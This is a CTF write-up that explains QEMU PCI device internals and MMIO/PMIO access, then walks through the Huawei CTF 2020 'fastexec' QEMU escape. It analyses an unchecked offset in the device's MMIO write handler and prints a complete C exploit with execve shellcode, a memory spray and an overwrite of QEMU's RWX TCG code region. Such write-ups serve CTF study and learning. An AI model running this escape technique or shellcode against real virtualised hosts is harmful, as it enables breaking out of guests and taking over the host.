reference

https://qemu.readthedocs.io/en/latest/devel/memory.html

https://www.xctf.org.cn/library/details/b69108559ccd6ff0fa3ec79e3f2f198f121e90a8/

https://zhuanlan.zhihu.com/p/53957763

https://xz.aliyun.com/t/6618#toc-2

https://ray-cp.github.io/archivers/qemu-pwn-basic-knowledge#qemu%E6%A6%82%E8%BF%B0

https://www.kernel.org/doc/Documentation/vm/pagemap.txt

Recently, there are many qemu escape challenges in ctf. I have never leaned it before, so i decided to study it to adjust the modern ctf 😛 .

some knowledge for qemu pci device and mmio(memory-mapped I/O) Operations

firstly, we need create a pci device struct PCIDeviceClass,which defined in /include/hw/pci/pci.h:

struct PCIDeviceClass {
    DeviceClass parent_class;

    void (*realize)(PCIDevice *dev, Error **errp);
    PCIUnregisterFunc *exit;
    PCIConfigReadFunc *config_read;
    PCIConfigWriteFunc *config_write;

    uint16_t vendor_id;
    uint16_t device_id;
    uint8_t revision;
    uint16_t class_id;
    uint16_t subsystem_vendor_id;       /* only for header type = 0 */
    uint16_t subsystem_id;              /* only for header type = 0 */
    /*
     * pci-to-pci bridge or normal device.
     * This doesn't mean pci host switch.
     * When card bus bridge is supported, this would be enhanced.
     */
    bool is_bridge;
    /* rom bar */
    const char *romfile;
};

In most ctf challeng,it alloced in function xxxx_class_init. we need record the vendor_id and device_id for this device.

After read the pci device init, we focus on the xxxx_instance_init,which is a function init a mmio state,the state always defined by the challenge author,so we need reverse it by ourselves. It will be the first para for xxx_mmio_write and xxx_mmio_read. And the vuln always hidden in read and write.We can find the reference for xxxx_instance_init or xxxx_class_init, near the address we can find the size of the state:

struct TypeInfo
{
    const char *name;
    const char *parent;
    size_t instance_size;
    void (*instance_init)(Object *obj);
    void (*instance_post_init)(Object *obj);
    void (*instance_finalize)(Object *obj);
    bool abstract;
    size_t class_size;
    void (*class_init)(ObjectClass *klass, void *data);
    void (*class_base_init)(ObjectClass *klass, void *data);
    void (*class_finalize)(ObjectClass *klass, void *data);
    void *class_data;
    InterfaceInfo *interfaces;
};

After the analysis, let’s look into the qemu. And I use the fastexec challenge in huawei ctf 2020.In this challenge, vendor_id init with value 0x43994399,device_id init with value 0xff.

Inside qemu, use command lspci , we can see all the device’s info:

# lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 4399:4399
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

So we can locate the device 00:04.0 Class 00ff: 4399:4399 is the challenge device we want. And then we need to interactive with the device.Let’s see /sys/devices/pci0000\:00/

# ls -l /sys/devices/pci0000\:00/
total 0
drwxr-xr-x    3 root     root             0 Jan 31 07:08 0000:00:00.0
drwxr-xr-x    3 root     root             0 Jan 31 07:08 0000:00:01.0
drwxr-xr-x    5 root     root             0 Jan 31 07:08 0000:00:01.1
drwxr-xr-x    3 root     root             0 Jan 31 07:08 0000:00:01.3
drwxr-xr-x    3 root     root             0 Jan 31 07:08 0000:00:02.0
drwxr-xr-x    4 root     root             0 Jan 31 06:56 0000:00:03.0
drwxr-xr-x    3 root     root             0 Jan 31 07:08 0000:00:04.0
drwxr-xr-x    3 root     root             0 Jan 31 07:21 QEMU0002:00
lrwxrwxrwx    1 root     root             0 Jan 31 07:21 firmware_node -> ../LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00
drwxr-xr-x    3 root     root             0 Jan 31 07:21 pci_bus
drwxr-xr-x    2 root     root             0 Jan 31 07:21 power
-rw-r--r--    1 root     root          4096 Jan 31 07:21 uevent

Obviously, the file /sys/devices/pci0000:00/0000:00:04.0 is the device we need. Let’s see the physical address for the device:

# cat /proc/iomem |  grep "00:04.0"
  fea00000-feafffff : 0000:00:04.0
OR
# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fea00000 0x00000000feafffff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

Then, Let’s write code to access the device, the most convenient and common way to access MMIO is using the mmap:

unsigned char* mmio_mem;

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}
int main(int argc, char *argv[])
{
    // Open and map I/O memory for the device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
}

And if the device need PMIO interactive, we need to cat /proc/ioports to get the port and include <sys/io.h> to use the in and out instruction. If the port range in 0x000-0x3ff, we can use ioperm(from, num, turn_on) ,if not, we must use iopl(3) to allow us to access all the ports. Here’s an example:

uint32_t pmio_base=0xc050;
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
    outl(value,addr);
}
uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)inl(addr);
}
int main(int argc, char *argv[])
{
    // Open and map I/O memory for the device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");
    pmio_write(pmio_base+0,0);
    pmio_write(pmio_base+4,1);
}

Atfer these, we can start our expliot.

huawectf 2020 fastexec

Let’s see the write operations:

__int64 __fastcall fastexec_mmio_write(FastState *a1, hwaddr addr, __int64 val, int size)
{
  __int64 result; // rax

  if ( size == 8 )
  {
    if ( addr == 16 )
    {
      a1->size = val;
    }
    else if ( addr <= 16 )
    {
      if ( addr == 8 )
        a1->offset = val;
    }
    else if ( addr == 24 )
    {
      a1->addr = val;
    }
    else if ( addr == 0x20 && val == 0xF62D && !a1->is_write )
    {
      result = cpu_physical_memory_rw(a1->addr, (__int64)&a1->buf[a1->offset], a1->size, 0);
      a1->is_write = 1LL;
    }
  }
  return result;
}

a1->offset has no check, so we can do a anywhere write once. But we can’t leak any address info through immo read function.

But we can look at the qemu’s memory map, we can see a RWX region:

This is the region that Tiny Code Generator (TCG) use, it stores the code which has been translated. So it’s possible to overwrite the code in it to launch a shell. And the pci device struct also mmaped:

So it’s easy to exploit, at last, if we want to overwrite more region, we must ensure the physical address consecutively. Here is my final exploit:

#include <unistd.h>
#include <sys/io.h>
#include <memory.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>


#define DEVICE_PATH "/sys/devices/pci0000:00/0000:00:04.0/resource0"

#define    page_map_file     "/proc/self/pagemap"
#define    PFN_MASK          ((((uint64_t)1)<<55)-1)
#define    PFN_PRESENT_FLAG  (((uint64_t)1)<<63)

unsigned char* mmio_mem;
size_t pmio_base=0xc050;

void die(char*s)
{
  puts(s);
  exit(-1);
}

size_t mem_addr_vir2phy(unsigned long vir)
{
    int fd;
    int page_size=getpagesize();
    unsigned long vir_page_idx = vir/page_size;
    unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);
    uint64_t pfn_item;

    fd = open(page_map_file, O_RDONLY);
    if (fd<0)
    {
        printf("open %s failed", page_map_file);
        return -1;
    }

    if ((off_t)-1 == lseek(fd, pfn_item_offset, SEEK_SET))
    {
        printf("lseek %s failed", page_map_file);
        return -1;
    }

    if (sizeof(uint64_t) != read(fd, &pfn_item, sizeof(uint64_t)))
    {
        printf("read %s failed", page_map_file);
        return -1;
    }

    if (0==(pfn_item & PFN_PRESENT_FLAG))
    {
        printf("page is not present");
        return -1;
    }
    return (pfn_item & PFN_MASK)*page_size + vir % page_size;
}


void mmio_write(size_t addr, size_t value)
{
    *((size_t*)(mmio_mem + addr)) = value;
}
size_t mmio_read(size_t addr)
{
    return *((size_t*)(mmio_mem + addr));
}
size_t pmio_write(size_t addr, size_t value)
{
    outl(value,addr);
}
size_t pmio_read(size_t addr)
{
    return (size_t)inl(addr);
}
void open_pmio()
{
    // Open and map I/O memory for the device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");
}
void open_mmio()
{
    // Open and map I/O memory for the device
    int mmio_fd = open(DEVICE_PATH, O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
}

void* mmap_new()
{
    return mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
}

unsigned char shellcode[] = {0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x2e,0x63,0x68,0x6f,0x2e,0x72,0x69,0x1,0x48,0x31,0x4,0x24,0x48,0x89,0xe7,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x68,0x6f,0x2e,0x63,0x60,0x72,0x69,0x1,0x48,0x31,0x4,0x24,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x72,0x69,0x1,0x2c,0x62,0x1,0x2e,0x63,0x48,0x31,0x4,0x24,0x31,0xf6,0x56,0x6a,0xe,0x5e,0x48,0x1,0xe6,0x56,0x6a,0x13,0x5e,0x48,0x1,0xe6,0x56,0x6a,0x18,0x5e,0x48,0x1,0xe6,0x56,0x48,0x89,0xe6,0x31,0xd2,0x6a,0x3b,0x58,0xf,0x5};


void* maps[100] = {0};

int main(int argc, char *argv[])
{
  setbuf(stdin,0);
  setbuf(stdout,0);
  setbuf(stderr,0);

  //void* test = mmap_new();
  //printf("%p\n",test);
  //memset(test,0x90,0x1000);
  //printf("%p",mem_addr_vir2phy(test));
  //scanf("%s",test);


    // spray shellcode in memory
  for(int i=0;i<100;i++)
  {
    maps[i] = mmap_new();
    memset(maps[i],0x90,0x1000);
    memcpy(maps[i] + 0x200,shellcode,sizeof(shellcode));
    memcpy(maps[i] + 0x400,shellcode,sizeof(shellcode));
    memcpy(maps[i] + 0x600,shellcode,sizeof(shellcode));
    memcpy(maps[i] + 0x800,shellcode,sizeof(shellcode));
  }
  //memcpy(test + 0x1000 - sizeof(shellcode) -1 ,shellcode,sizeof(shellcode));

  open_mmio();
  mmio_write(16,0x10000); // size
  // device addr 0x7f4e68224010
  // TCG addr 0x7f4e24000000

  mmio_write(8,0x7f4e24000000 - 0x7f4e68224010 - 0xa00);//offset
  mmio_write(24,mem_addr_vir2phy(maps[10]));// addr

  mmio_write(32,0xF62D);// exploit!

  printf("finish");

  return 0;
}